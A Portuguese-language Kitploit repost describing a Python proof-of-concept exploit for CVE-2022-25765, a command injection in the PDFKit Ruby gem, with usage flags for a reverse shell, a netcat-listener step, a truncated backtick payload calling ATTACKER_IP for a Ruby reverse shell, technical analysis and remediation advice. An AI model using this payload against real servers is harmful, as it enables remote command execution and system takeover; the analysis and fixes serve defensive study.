Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!
CVE-2022-25765 — # PoC em Python para CVE-2022-25765
Exploit de prova de conceito em Python para CVE-2022-25765, uma injeção crítica de comandos no PDFKit. Gera um reverse shell por meio de parâmetros de URL não sanitizados passados ao wkhtmltopdf. Inclui instruções de uso e análise técnica da vulnerabilidade. | Kitploit
# PoC em Python para CVE-2022-25765
Exploit de prova de conceito em Python para CVE-2022-25765, uma injeção crítica de comandos no PDFKit. Gera um reverse shell por meio de parâmetros de URL não sanitizados passados ao wkhtmltopdf. Inclui instruções de uso e análise técnica da vulnerabilidade.
Compartilhar
Exploit CVE-2022-25765
Um pequeno exploit POC para CVE-2022-25765, PDFkit-CMD-Injection
Uso
Inicie um listener netcat na sua máquina de ataque:
-l, --lhost: Seu endereço IP para a conexão de reverse shell
-p, --lport: Sua porta para a conexão de reverse shell (deve corresponder ao seu listener netcat)
Informações da Vulnerabilidade
CVE ID: CVE-2022-25765
Pontuação CVSS v3.1: 9.8 (Crítico)
Pontuação EPSS: 71.381% (percentil 99)
CWE: CWE-77 - Neutralização Incorreta de Elementos Especiais usados em um Comando
Versões Afetadas
Vulnerável: PDFKit 0.0.0 - 0.8.6
Corrigido: PDFKit 0.8.7.2+
Descrição
O PDFKit é uma gem Ruby que converte HTML em PDF usando a ferramenta de linha de comando wkhtmltopdf. A vulnerabilidade existe na forma como o PDFKit lida com parâmetros de URL antes de passá-los para comandos do shell do sistema para a geração de PDF.
Detalhes Técnicos
A vulnerabilidade reside em lib/pdfkit/source.rb, onde a sanitização de URLs é implementada incorretamente:
root@kitploit:~
def shell_safe_url
url_needs_escaping? ? URI::DEFAULT_PARSER.escape(@source) : @source
end
O Problema:
O PDFKit usa uma lógica falha para determinar se uma URL precisa de escape
Metacaracteres de shell (crases, ponto e vírgula, pipes, etc.) podem contornar essa verificação
URLs não sanitizadas são passadas diretamente para comandos de shell que invocam o wkhtmltopdf
Atacantes podem injetar comandos arbitrários que são executados no servidor
Vetor de Ataque:
Complexidade: Baixa
Privilégios Necessários: Nenhum
Interação do Usuário: Nenhuma
Acesso à Rede: Necessário
Como Este Exploit Funciona
Este PoC explora a vulnerabilidade ao:
Injetar uma URL maliciosa contendo substituição de comando com crases
O payload: http://ATTACKER_IP:PORT/?name=%20` ruby -rsocket...`'
O PDFKit não sanitiza as crases no parâmetro de URL
Quando o wkhtmltopdf processa a URL, o shell executa o reverse shell em Ruby
O sistema alvo conecta de volta ao listener do atacante
Impacto
Confidencialidade: Alta - Acesso completo ao sistema
Integridade: Alta - Capacidade de modificar qualquer arquivo
Disponibilidade: Alta - Potencial para interrupção do sistema
Pré-requisitos para Exploração Bem-sucedida
No Sistema Alvo:
Versão vulnerável do PDFKit (< 0.8.7.2)
Ruby instalado (necessário para o payload de reverse shell)
A aplicação aceita URLs controladas pelo usuário passadas para o PDFKit
Sem filtragem de egresso bloqueando conexões de saída
Remediação
Atualize o PDFKit para a versão 0.8.7.2 ou posterior
Validação de Entrada: Implemente uma lista de permissões estrita para entradas de URL
Sandboxing: Execute os processos do PDFKit em contêineres isolados com privilégios mínimos
Segmentação de Rede: Restrinja conexões de saída dos serviços de geração de PDF
Regras de WAF: Implante regras para detectar metacaracteres de shell em parâmetros de URL